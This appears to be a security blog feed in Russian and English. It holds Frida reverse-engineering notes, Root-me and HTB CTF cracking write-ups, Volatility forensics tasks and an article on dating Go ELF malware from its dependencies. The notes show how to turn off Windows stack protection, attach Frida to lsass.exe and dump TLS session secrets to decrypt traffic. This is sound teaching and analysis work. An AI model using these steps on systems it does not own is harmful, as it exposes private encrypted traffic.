<span class="o">.</span><span class="na">method</span> <span class="kd">static</span> <span class="n">constructor</span> <span class="o">&lt;</span><span class="n">clinit</span><span class="o">&gt;()</span><span class="no">V</span>
    <span class="o">.</span><span class="na">locals</span> <span class="mi">1</span>

    <span class="kd">const</span><span class="o">-</span><span class="n">string</span> <span class="n">v0</span><span class="o">,</span> <span class="s">"foo"</span>

    <span class="n">invoke</span><span class="o">-</span><span class="kd">static</span> <span class="o">{</span><span class="n">v0</span><span class="o">},</span> <span class="nc">Ljava</span><span class="o">/</span><span class="n">lang</span><span class="o">/</span><span class="nc">System</span><span class="o">;-&gt;</span><span class="n">loadLibrary</span><span class="o">(</span><span class="nc">Ljava</span><span class="o">/</span><span class="n">lang</span><span class="o">/</span><span class="nc">String</span><span class="o">;)</span><span class="no">V</span>

    <span class="k">return</span><span class="o">-</span><span class="kt">void</span>
<span class="o">.</span><span class="na">end</span> <span class="n">method</span>
</code></pre></div></div>

<p>Этот код говорит нам о том, что приложение загружает библиотеку с именем <em>foo</em>. Если мы распакуем наше приложение, то в папке <em>lib</em> мы видим библиотеку <em>libfoo.so</em>. Теперь пришло время изучить ее. Так как у нас нет исходных кодов библиотеки и написана она на С/С++, то нам необходимо воспользоваться дизассемблером, в нашем случае - <a href="https://binary.ninja/">Binary Ninja</a>. Можно использовать бесплатную <a href="https://cloud.binary.ninja/">Веб версию</a>.</p>

<p>Открываем файл нашей библиотеки и находим в списке нашу функцию <code class="language-plaintext highlighter-rouge">bar</code></p>

<p><img src="/assets/images/ru/frida_notes/6.png" alt="" /></p>

<p>Открываем функцию. Углубляться в анализ ассемблерного кода мы сегодня не будем, возможно в другой жизни это сделаем. Просто обратите внимание на выделенный код и в особенности на hex значения</p>

<p><img src="/assets/images/ru/frida_notes/7.png" alt="" /></p>

<p>на адреса они не похожи, а похожи они на строки. Попробуем посмотреть опцией “отобразить, как символы”</p>

<p><img src="/assets/images/ru/frida_notes/8.png" alt="" /></p>

<p>Получилось вот так и это похоже на правду</p>

<p><img src="/assets/images/ru/frida_notes/9.png" alt="" /></p>

<p>Проделаем для всех значений</p>

<p><img src="/assets/images/ru/frida_notes/10.png" alt="" /></p>

<p>Эти части складываются в единную строку “Thanks for all the fish”. Далее по коду мы видим сравнение нашего ввода с этой строкой</p>

<p><img src="/assets/images/ru/frida_notes/11.png" alt="" /></p>

<p>Проверим строку в приложении</p>

<p><img src="/assets/images/ru/frida_notes/12й.png" alt="" /></p>

<p>Это и есть наша секретная строка!</p>

<h1 id="frida-tls">Frida TLS</h1>

<p><a href="https://b.poc.fun/decrypting-schannel-tls-part-1/">Подробное обьяснение принципа работы</a></p>

<p>С помощью Frida можно расшифровывать schannel TLS трафик (IIS, RDP, IE, Outlook, Powershell, LDAP …). Для этого нам понадобится скрипт <a href="https://github.com/ngo/win-frida-scripts/blob/master/lsasslkeylog-easy/keylog.js">keylog.js</a>, wireshark и для демонстрации будем использовать Windows 11.</p>

<p>SChannel a.k.a Secure Channel - это подсистема windows, используемая приложениями при работе с TLS (установка соединения, прием соединения от клиента).</p>

<p>keylog файл содержит значения, которые используются для генерации сессионых ключей TLS. Обьяснение данных в логе можно прочитать <a href="https://www.ietf.org/archive/id/draft-thomson-tls-keylogfile-00.html">тут</a></p>

<p><img src="/assets/images/ru/frida_notes/tls_7.png" alt="" /></p>

<p>Скрипт хукает функции библиотеки <code class="language-plaintext highlighter-rouge">ncrypt.dll</code>. Например, функция <code class="language-plaintext highlighter-rouge">SslHashHandshake</code> используется для генерации хэша во время SSL Handshake.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">shh</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">findExportByName</span><span class="p">(</span><span class="dl">'</span><span class="s1">ncrypt.dll</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">SslHashHandshake</span><span class="dl">'</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nx">shh</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">){</span>
	<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">shh</span><span class="p">,</span> <span class="p">{</span>
</code></pre></div></div>

<p>Дампает входящие аргументы функций связанных с TLS в кейлог файл, который затем добавляется в Wireshark.</p>

<ol>
  <li>Чтобы фрида смогла приатачится к lsass.exe, в настройках <code class="language-plaintext highlighter-rouge">Exploit protection</code> выставляем <code class="language-plaintext highlighter-rouge">hardware-enforced stack protection off</code>.</li>
</ol>

<p><img src="/assets/images/ru/frida_notes/tls_3.png" alt="" /></p>

<ol>
  <li>В скрипте <code class="language-plaintext highlighter-rouge">keylog.js</code> указываем путь к логу. Узнаем PID процесса lsass.exe и аттачимся к нему командой</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">frida -p PID -l SCRIPT</code></p>

<p><img src="/assets/images/ru/frida_notes/tls_2.png" alt="" /></p>

<ol>
  <li>
    <p>Открываем Wireshark</p>
  </li>
  <li>
    <p>Делаем какой либо HTTS запрос. Например:</p>
  </li>
</ol>

<p><code class="language-plaintext highlighter-rouge">Invoke-WebRequest -Uri "https://www.google.de" -Method GET -TimeoutSec 5</code></p>

<p>Убеждаемся, что видим только зашифрованный трафик.</p>

<ol>
  <li>
    <p>Файл лога <code class="language-plaintext highlighter-rouge">keylog.log</code> должен заполниться значениями.</p>
  </li>
  <li>
    <p>В Wireshark, в настройках <code class="language-plaintext highlighter-rouge">Edit-&gt;Preferences-&gt;Protocols-&gt;TLS</code> вводим путь к логу в <code class="language-plaintext highlighter-rouge">(Pre)-Master-Secret log filename</code></p>
  </li>
  <li>
    <p>Трафик, который был у нас в Wireshark расшифруется.</p>
  </li>
</ol>

<p><img src="/assets/images/ru/frida_notes/tls_1.png" alt="" /></p>

<p>Чистый запрос Invoke-WebRequest</p>

<p><img src="/assets/images/ru/frida_notes/tls_4.png" alt="" /></p>

<p>Чистый ответ гугла</p>

<p><img src="/assets/images/ru/frida_notes/tls_5.png" alt="" /></p>

<h1 id="frinet">Frinet</h1>

<p>Плагин для трейсинга с помощью фриды. Опция загрузки трейса становится доступна после загрузки бинарника.</p>

<p>Ссылки:</p>

<p>https://hex-rays.com/blog/plugin-focus-frinet/</p>

<p>https://blog.ret2.io/2021/04/20/tenet-trace-explorer/</p>

<h1 id="полезные-ссылки">Полезные ссылки</h1>

<p>Для <a href="https://t.me/ast2600/333">2600 митапа</a> я подготавливал <a href="https://github.com/thatskriptkid/thatskriptkid.github.io/blob/master/assets/files/2600/%D0%A7%D1%82%D0%BE%20%D1%82%D0%B0%D0%BA%D0%BE%D0%B5%20Frida_%202600.pdf">презентацию</a> по возможностям фриды.</p>

<p><a href="https://blog.quarkslab.com/android-greybox-fuzzing-with-afl-frida-mode.html">Android greybox fuzzing with AFL++ Frida mode</a></p>

<p>https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/</p>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="note" /><summary type="html"><![CDATA[Это не полноценная статья! Это мои заметки по изучению фриды. Когда нужно быстро вспомнить какой-то аспект фриды, можно будет к ним быстро вернуться.]]></summary></entry><entry><title type="html">Решение тасков рутми</title><link href="https://orderofsixangles.com/ru/2024/04/05/rootme-ru.html" rel="alternate" type="text/html" title="Решение тасков рутми" /><published>2024-04-05T00:00:00+00:00</published><updated>2024-04-05T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2024/04/05/rootme-ru</id><content type="html" xml:base="https://orderofsixangles.com/ru/2024/04/05/rootme-ru.html"><![CDATA[<h2 id="pe-x86---autope-medium">PE x86 - AutoPE (medium)</h2>

<p><a href="https://www.root-me.org/en/Challenges/Cracking/PE-x86-AutoPE">Ссылка на таск</a></p>

<p>Файл представляет собой x86 exe, с полем ввода пароля и кнопкой, которая запускает его проверку:</p>

<p><img src="/assets/images/ru/rootme/1.png" alt="" /></p>

<p>Из описания следует, что:</p>

<ol>
  <li>используется AutoIt</li>
  <li>конец файла (скорей всего имеется в виду autoit скрипт) - это только начало</li>
  <li>надо обратить внимание на “WTF”</li>
</ol>

<p><img src="/assets/images/ru/rootme/2.png" alt="" /></p>

<p>нам надо извлечь autoit скрипт из бинарника. Скачиваем <a href="https://exe2aut.com/exe2aut-converter/">exe2aut</a>. Закидываем наш бинарник и в итоге получаем исходный скрипт:</p>

<p><img src="/assets/images/ru/rootme/3.png" alt="" /></p>

<p>Чтобы удобно просматривать, редактировать и запускать скрипт, нам надо установить <a href="https://www.autoitscript.com/site/autoit/downloads/">SciTE4AutoIt3</a>. Открываем скрипт, и идем в самый конец (как было сказано в подсказке). Внизу мы видим небольшое количество функций, с “wtf” в именах, то что нужно:</p>

<p><img src="/assets/images/ru/rootme/4.png" alt="" /></p>

<p>Только в одной из них есть проверка чего-то на равенство:</p>

<p><img src="/assets/images/ru/rootme/5.png" alt="" /></p>

<p>Сравниваются переменные $wtf8 и $wtf9. Давайте выведем их значение:</p>

<p><img src="/assets/images/ru/rootme/7.png" alt="" /></p>

<p><img src="/assets/images/ru/rootme/6.png" alt="" /></p>

<p>Очевидно, что условие никогда не будет истинным, так как эти строки не равны. Давайте изменим это условие, чтобы оно стало истиным. Меняем <code class="language-plaintext highlighter-rouge">$wtf8 = $wtf9</code> на <code class="language-plaintext highlighter-rouge">$wtf8 &lt;&gt; wtf9</code>:</p>

<p><img src="/assets/images/ru/rootme/8.png" alt="" /></p>

<p>Теперь, запустив скрипт, мы увидим InputBox!</p>

<p><img src="/assets/images/ru/rootme/9.png" alt="" /></p>

<p>И внутри наш флаг!</p>

<p><img src="/assets/images/ru/rootme/10.jpg" alt="" /></p>

<h2 id="htb-easy">HTB easy</h2>

<p>Этот таск не из рутми, а из HTB ctf. Меня попросили помочь решить. У нас в руках 64 битный ELF бинарник:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>casino: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ac3d9d8a2c65ca7a0cb88af07efaec8c991c315d, for GNU/Linux 3.2.0, not stripped
</code></pre></div></div>

<p>Суть программы - считывание инпута длиной 0x1d, использование его в качестве seed для функции srand() и сравнение результата функции rand() с захардкоженым массивом:</p>

<p><img src="/assets/images/ru/rootme/htb_1.png" alt="" /></p>

<p>массив:</p>

<p><img src="/assets/images/ru/rootme/htb_2.png" alt="" /></p>

<p>Другими словами, нам надо подать на вход такие символы (%c), на основе которых будут сгенерированы определенные “псведослучайные” значения. Интуиция подсказала, что в начале надо проверить специальные символы. Был написан следующий код:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"stdio.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>


        <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
        <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">a</span> <span class="o">=</span> <span class="s">"-*_+=-[]{}&amp;^%$#@!()"</span><span class="p">;</span>
        <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">19</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">srand</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">rand</span><span class="p">());</span>
<span class="p">};</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>В итоге удалось глазами сопоставить вывод с массивом и найти одно значение (подчеркивание) - “43383720 _”</p>

<p><img src="/assets/images/ru/rootme/htb_3.jpg" alt="" /></p>

<p>Уже лучше. Следующее предположение было о том, что используются ASCII символы. Для этого был написан простой брутер, который сравнивал поочередно значение из массива с каждым аски символом (от 0 до 127):</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"stdio.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="kt">int</span> <span class="n">res</span><span class="p">[</span><span class="mh">0x1d</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x244B28BE</span><span class="p">,</span> <span class="mh">0x0AF77805</span><span class="p">,</span> <span class="mh">0x110DFC17</span><span class="p">,</span> <span class="mh">0x7AFC3A1</span><span class="p">,</span> <span class="mh">0x6AFEC533</span><span class="p">,</span>
	<span class="mh">0x4ED659A2</span><span class="p">,</span> <span class="mh">0x33C5D4B0</span><span class="p">,</span> <span class="mh">0x286582B8</span><span class="p">,</span> <span class="mh">0x43383720</span><span class="p">,</span> <span class="mh">0x55A14FC5</span><span class="p">,</span>
	<span class="mh">0x19195F9F</span><span class="p">,</span> <span class="mh">0x43383720</span><span class="p">,</span> <span class="mh">0x63149380</span><span class="p">,</span> <span class="mh">0x615AB299</span><span class="p">,</span> <span class="mh">0x6AFEC533</span><span class="p">,</span> <span class="mh">0x6C6FCFB8</span><span class="p">,</span>
	<span class="mh">0x43383720</span><span class="p">,</span> <span class="mh">0x0F3DA237</span><span class="p">,</span> <span class="mh">0x6AFEC533</span><span class="p">,</span> <span class="mh">0x615AB299</span><span class="p">,</span> <span class="mh">0x286582B8</span><span class="p">,</span> <span class="mh">0x55A14FC</span><span class="p">,</span> <span class="mh">0x3AE44994</span><span class="p">,</span> <span class="mh">0x6D7DFE9</span><span class="p">,</span> <span class="mh">0x4ED659A2</span><span class="p">,</span> <span class="mh">0x0CCD4ACD</span><span class="p">,</span> <span class="mh">0x57D8ED64</span><span class="p">,</span> <span class="mh">0x615AB299</span><span class="p">,</span> <span class="mh">0x22E9BC2A</span><span class="p">};</span>

	<span class="kt">int</span> <span class="n">i</span><span class="p">,</span><span class="n">j</span><span class="p">,</span> <span class="n">check</span><span class="p">;</span>
	
	<span class="k">for</span><span class="p">(</span><span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span><span class="n">j</span> <span class="o">&lt;=</span> <span class="mh">0x1c</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">127</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> 
                <span class="n">srand</span><span class="p">(</span><span class="n">i</span><span class="p">);</span>
                <span class="n">check</span> <span class="o">=</span> <span class="n">rand</span><span class="p">();</span>
		
        		<span class="k">if</span> <span class="p">(</span><span class="n">res</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">==</span> <span class="n">check</span><span class="p">)</span>
                    <span class="n">printf</span><span class="p">(</span><span class="s">"%c"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
        <span class="p">}</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>В итоге получим флаг.</p>

<h1 id="command--control---level-2-easy">Command &amp; Control - level 2 (Easy)</h1>

<p>Нам надо найти hostname в дампе. Для начала выполняем команду и смотрим общую информацию о дампе:</p>

<p><img src="/assets/images/ru/rootme/vol_1.png" alt="" /></p>

<p>Из этой информации берем имя профайла. Хостнейм хранится в реестре (можно загуглить где конкретно), будем искать его там:</p>

<p><img src="/assets/images/ru/rootme/vol_2.png" alt="" /></p>

<p>Находим!</p>

<p><img src="/assets/images/ru/rootme/vol_3.png" alt="" /></p>

<h1 id="command--control---level-3-medium">Command &amp; Control - level 3 (Medium)</h1>

<p>В этот раз нас просят найти некую малварь в дампе. Больше ничкаких деталей дано не было. Ответом будет являться путь к этой малвари. Этот таск я решил очень тупым способом и по сути неправильно. Я залез в реестр посмотреть на ключ RUN</p>

<p><img src="/assets/images/ru/rootme/vol_4.png" alt="" /></p>

<p>Увидев два бинарника я подумал, ну раз они в атозагрузке, то значит могут быть малварью. Засабмитил оба пути и один из них сработал (ieexplorer), лол! Прочитав решения других людей после сабмита я увидел как надо было правильно решать таск. А надо было вывести список процессов (pstree) и затем увидеть, что от ieexplorer.exe был вызван процесс cmd.exe, что уже очень подозрительно!</p>

<p><img src="/assets/images/ru/rootme/vol_5.png" alt="" /></p>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="cracking" /><summary type="html"><![CDATA[PE x86 - AutoPE (medium)]]></summary></entry><entry><title type="html">Estimating a minimum timestamp for Go ELF malware</title><link href="https://orderofsixangles.com/en/2022/07/09/goelf-time-en.html" rel="alternate" type="text/html" title="Estimating a minimum timestamp for Go ELF malware" /><published>2022-07-09T00:00:00+00:00</published><updated>2022-07-09T00:00:00+00:00</updated><id>https://orderofsixangles.com/en/2022/07/09/goelf-time-en</id><content type="html" xml:base="https://orderofsixangles.com/en/2022/07/09/goelf-time-en.html"><![CDATA[<h2 id="intro">Intro</h2>

<p>A timestamp, or compilation date, is an important characteristic of a malware sample. It can indicate whether the sample is new, whether it may have appeared in earlier attacks, and roughly when an operation was prepared. But what can we do when the sample is an ELF binary, a format that does not store a compilation timestamp?</p>

<p>Malware written in Go has become increasingly common in recent years.</p>

<p>
<details>
<summary>Examples</summary>
<pre>
1. Sandworm-Team (Exaramel-Linux)
2. APT28 Zebrocy
3. Ekans
4. Kinsing (miner)
5. Mustang Panda 
6. Rocke
7. APT29 WellMess/WellMail
8. Gobot
9. rocke
10. htran
11. goodor
12. FritzFrog
13. Gobrut
14. Geacon
15. Kaiji
16. NSPPS
17. Carbanak
18. Veil
19. AgeLocker
20. Notrobin
21. r2r2
22. Blackrota
23. IPStorm
24. RobbinHood
25. TinyBanker
26. CHAOS
27. NEsha
28. Hercules
29. Gandalf
30. RDW
31. hershell
32. ARCANUS
33. braincrypt
34. Klingon RAT
</pre>
</details>
</p>

<p>Go’s cross-platform toolchain makes it easy to compile the same source code for different operating systems and architectures, including Linux, where the output is an ELF binary.</p>

<p>I recently watched <a href="https://www.youtube.com/watch?v=kwrIr8Ydwro">Golang Malware: Using the Attackers’ Force Against Them</a>, which presents an interesting idea: a Go binary’s dependencies can be used to estimate its earliest possible build date. The process described in the video is:</p>

<ol>
  <li>Take a malicious Go ELF binary.</li>
  <li>Extract its dependency list.</li>
  <li>Identify each dependency version.</li>
  <li>Find the release date of each version.</li>
  <li>Collect those dates.</li>
  <li>Use the most recent date as the binary’s approximate minimum timestamp.</li>
</ol>

<h2 id="code">Code</h2>

<p>I implemented this idea in code, using <a href="https://github.com/goretk/gore">GoRE</a> to extract dependencies. Keep in mind that GoRE can recover them only when the binary contains a <a href="https://www.mandiant.com/resources/golang-internals-symbol-recovery"><code class="language-plaintext highlighter-rouge">gopclntab</code></a> section. As an example, we will use a <a href="https://attack.mitre.org/software/S0599/">Kinsing</a> sample, a Linux malware family written in Go that deploys a cryptocurrency miner. GoRE returns a dependency list like this:</p>

<pre>
\go\pkg\mod\github.com\armon\go-socks5@v0.0.0-20160902184237-e75332964ef5
\go\pkg\mod\github.com\tklauser\go-sysconf@v0.3.10
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\mem
\go\pkg\mod\github.com\kelseyhightower\envconfig@v1.4.0
\go\pkg\mod\github.com\tklauser\numcpus@v0.4.0
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\process
\go\pkg\mod\github.com\asaskevich\govalidator@v0.0.0-20210307081110-f21760c49a8d
\go\pkg\mod\github.com\google\btree@v1.0.1
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\cpu
\go\pkg\mod\github.com\hashicorp\yamux@v0.0.0-20211028200310-0bc27b27de87
\go\pkg\mod\github.com\peterbourgon\diskv@v2.0.1+incompatible
\go\pkg\mod\github.com\go-resty\resty\v2@v2.7.0
\go\pkg\mod\github.com\op\go-logging@v0.0.0-20160315200505-970db520ece7
\go\pkg\mod\golang.org\x\net@v0.0.0-20220225172249-27dd8689420f\context
\go\pkg\mod\golang.org\x\net@v0.0.0-20220225172249-27dd8689420f\publicsuffix
\go\pkg\mod\github.com\nu7hatch\gouuid@v0.0.0-20131221200532-179d4d0c4d8d
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\host
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\net
\go\pkg\mod\github.com\kardianos\osext@v0.0.0-20190222173326-2bc1f35cddc0
\go\pkg\mod\github.com\paulbellamy\ratecounter@v0.2.0
\go\pkg\mod\golang.org\x\sys@v0.0.0-20220319134239-a9b59b0215f8\unix
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\internal\common
</pre>

<p>The list contains three forms of Go module versions:</p>

<ol>
  <li>
    <p><code class="language-plaintext highlighter-rouge">v0.0.0-20160902184237-e75332964ef5</code></p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">v3.21.11+incompatible\cpu</code></p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">v0.3.10</code></p>
  </li>
</ol>

<p>The first form is a Go pseudo-version. Its timestamp is embedded directly in the version string, so we can extract the date from it.</p>

<p>In the second form, the <code class="language-plaintext highlighter-rouge">+incompatible</code> suffix indicates that the module has a major version of 2 or higher but does not follow the module path convention introduced with Go modules. We remove the suffix and any package subpath, retaining only the version.</p>

<p>The third form contains only a semantic version, so its date must be resolved separately.</p>

<p>Given only a dependency version, we can look up its date with the <a href="https://github.com/google/go-github">Go client library for the GitHub API</a>. Consider <code class="language-plaintext highlighter-rouge">\go\pkg\mod\github.com\tklauser\go-sysconf@v0.3.10</code> as an example.</p>

<p>Not every repository publishes GitHub Releases, but version tags are usually present, so the code uses <a href="https://docs.github.com/en/rest/git/tags#get-a-tag"><code class="language-plaintext highlighter-rouge">ListTags</code></a>. In this example, <code class="language-plaintext highlighter-rouge">owner</code> is <code class="language-plaintext highlighter-rouge">tklauser</code> and <code class="language-plaintext highlighter-rouge">repo</code> is <code class="language-plaintext highlighter-rouge">go-sysconf</code>.</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tags</span><span class="p">,</span> <span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">client</span><span class="o">.</span><span class="n">Repositories</span><span class="o">.</span><span class="n">ListTags</span><span class="p">(</span><span class="n">context</span><span class="o">.</span><span class="n">Background</span><span class="p">(),</span> <span class="n">owner</span><span class="p">,</span> <span class="n">repo</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span>
</code></pre></div></div>

<p>The response contains information about each tag.</p>

<p><img src="/assets/images/golang_timestamp/1.png" alt="" /></p>

<p>Each tag includes a <code class="language-plaintext highlighter-rouge">commit</code> field containing a SHA. We use that SHA to retrieve commit metadata through the GitHub API.</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">commit</span><span class="p">,</span> <span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">client</span><span class="o">.</span><span class="n">Repositories</span><span class="o">.</span><span class="n">GetCommit</span><span class="p">(</span><span class="n">context</span><span class="o">.</span><span class="n">Background</span><span class="p">(),</span> <span class="n">owner</span><span class="p">,</span> <span class="n">repo</span><span class="p">,</span> <span class="n">sha</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span>
</code></pre></div></div>

<p>The response includes the commit date.</p>

<p><img src="/assets/images/golang_timestamp/2.png" alt="" /></p>

<p>After resolving a date for every dependency, we select the latest one. The sample could not have been built before that dependency existed, so this date is its approximate minimum timestamp:</p>

<p><img src="/assets/images/golang_timestamp/3.png" alt="" /></p>

<p><a href="https://github.com/thatskriptkid/chrononz"><strong>Source code</strong></a></p>]]></content><author><name></name></author><category term="[&quot;en&quot;]" /><category term="linux" /><category term="malware analysis" /><summary type="html"><![CDATA[Intro]]></summary></entry><entry><title type="html">Вычисление примерного (минимального) timestamp у golang elf malware</title><link href="https://orderofsixangles.com/ru/2022/07/09/goelf-time-ru.html" rel="alternate" type="text/html" title="Вычисление примерного (минимального) timestamp у golang elf malware" /><published>2022-07-09T00:00:00+00:00</published><updated>2022-07-09T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2022/07/09/goelf-time-ru</id><content type="html" xml:base="https://orderofsixangles.com/ru/2022/07/09/goelf-time-ru.html"><![CDATA[<h2 id="вступление">Вступление</h2>

<p>Timestamp (или дата компиляции) является одним из главных характеристик малвари. Он позволяет понять является ли образец свежим, использовался ли образец в других атаках и дать представление о том, когда примерно готовилась атака. Но что делать, если малварь формата elf, который как известно не сохраняет дату компиляции файла?</p>

<p>Golang малварь получила большое распространение за последние несколько лет.</p>
<p>
<details>
<summary> список </summary>
<pre>
1. Sandworm-Team (Exaramel-Linux)
2. APT28 Zebrocy
3. Ekans
4. Kinsing (miner)
5. Mustang Panda 
6. Rocke
7. APT29 WellMess/WellMail
8. Gobot
9. rocke
10. htran
11. goodor
12. FritzFrog
13. Gobrut
14. Geacon
15. Kaiji
16. NSPPS
17. Carbanak
18. Veil
19. AgeLocker
20. Notrobin
21. r2r2
22. Blackrota
23. IPStorm
24. RobbinHood
25. TinyBanker
26. CHAOS
27. NEsha
28. Hercules
29. Gandalf
30. RDW
31. hershell
32. ARCANUS
33. braincrypt
34. Klingon RAT
</pre>
</details>
</p>

<p>Универсальность языка позволяет скомпилировать один и тот же исходник под разные архитектуры и ос, в том числе и под линукс в виде ELF файла.</p>

<p>Недавно я посмотрел видео <a href="https://www.youtube.com/watch?v=kwrIr8Ydwro">Golang Malware: Using the attackers force against them</a>, в котором прозвучала интересная мысль. Мысль заключалась в том, что существует возможность вычисления примерного timestamp у бинарника, используя зависимости. Алгоритм вычисления из видео следующий:</p>

<ol>
  <li>Берем golang ELF малварь</li>
  <li>Получаем список зависимостей</li>
  <li>Получаем версию зависимости</li>
  <li>Получаем дату конкретной версии (релиза) зависимости</li>
  <li>Создаем список из дат</li>
  <li>Берем самую позднюю дату, она и будет являться примерным (минимальным) timestamp</li>
</ol>

<h2 id="код">Код</h2>

<p>Решено было реализовать эту мысль в коде. Для получения зависимостей использовался проект <a href="github.com/goretk/gore">gore</a>. Надо иметь в виду, что зависимости из бинарника возможно получить, только если у него есть секция <a href="https://www.mandiant.com/resources/golang-internals-symbol-recovery">gopclntab</a>. Для примера будем рассматривать образец малвари Kinsing. <a href="https://attack.mitre.org/software/S0599/">Kinsing</a> - это golang малварь, которая запускает майнер. gore возвращает список зависимостей в таком виде:</p>

<pre>
\go\pkg\mod\github.com\armon\go-socks5@v0.0.0-20160902184237-e75332964ef5
\go\pkg\mod\github.com\tklauser\go-sysconf@v0.3.10
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\mem
\go\pkg\mod\github.com\kelseyhightower\envconfig@v1.4.0
\go\pkg\mod\github.com\tklauser\numcpus@v0.4.0
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\process
\go\pkg\mod\github.com\asaskevich\govalidator@v0.0.0-20210307081110-f21760c49a8d
\go\pkg\mod\github.com\google\btree@v1.0.1
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\cpu
\go\pkg\mod\github.com\hashicorp\yamux@v0.0.0-20211028200310-0bc27b27de87
\go\pkg\mod\github.com\peterbourgon\diskv@v2.0.1+incompatible
\go\pkg\mod\github.com\go-resty\resty\v2@v2.7.0
\go\pkg\mod\github.com\op\go-logging@v0.0.0-20160315200505-970db520ece7
\go\pkg\mod\golang.org\x\net@v0.0.0-20220225172249-27dd8689420f\context
\go\pkg\mod\golang.org\x\net@v0.0.0-20220225172249-27dd8689420f\publicsuffix
\go\pkg\mod\github.com\nu7hatch\gouuid@v0.0.0-20131221200532-179d4d0c4d8d
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\host
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\net
\go\pkg\mod\github.com\kardianos\osext@v0.0.0-20190222173326-2bc1f35cddc0
\go\pkg\mod\github.com\paulbellamy\ratecounter@v0.2.0
\go\pkg\mod\golang.org\x\sys@v0.0.0-20220319134239-a9b59b0215f8\unix
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\internal\common
</pre>

<p>Если посмотреть внимательно, обнаружится, что версии зависимостей Golang представляет в трех видах:</p>

<ol>
  <li>v0.0.0-20160902184237-e75332964ef5</li>
  <li>v3.21.11+incompatible\cpu</li>
  <li>v0.3.10</li>
</ol>

<p>В первом виде, версия зависимости всегда v0.0.0, то есть зависимость не имеет релизов, а значит сама строка версии содержит дату создания. Поэтому мы просто берем дату из строки.</p>

<p>Во втором виде, <code class="language-plaintext highlighter-rouge">incompatible</code> означает, что зависимость не имеет файла <code class="language-plaintext highlighter-rouge">go.mod</code> и имеет версию больше 2. Мы отрбасываем слово incompatible и берем только версию.</p>

<p>В третьем виде у нас ничего нет, кроме версии, поэтому переходим к следующему шагу.</p>

<p>Зная только версию зависимости, мы с помощью <a href="https://github.com/google/go-github">golang библиотеки для работы с GithubAPI</a> можем попробовать получить дату релиза. Рассмотрим на примере зависимости <code class="language-plaintext highlighter-rouge">\go\pkg\mod\github.com\tklauser\go-sysconf@v0.3.10</code>.
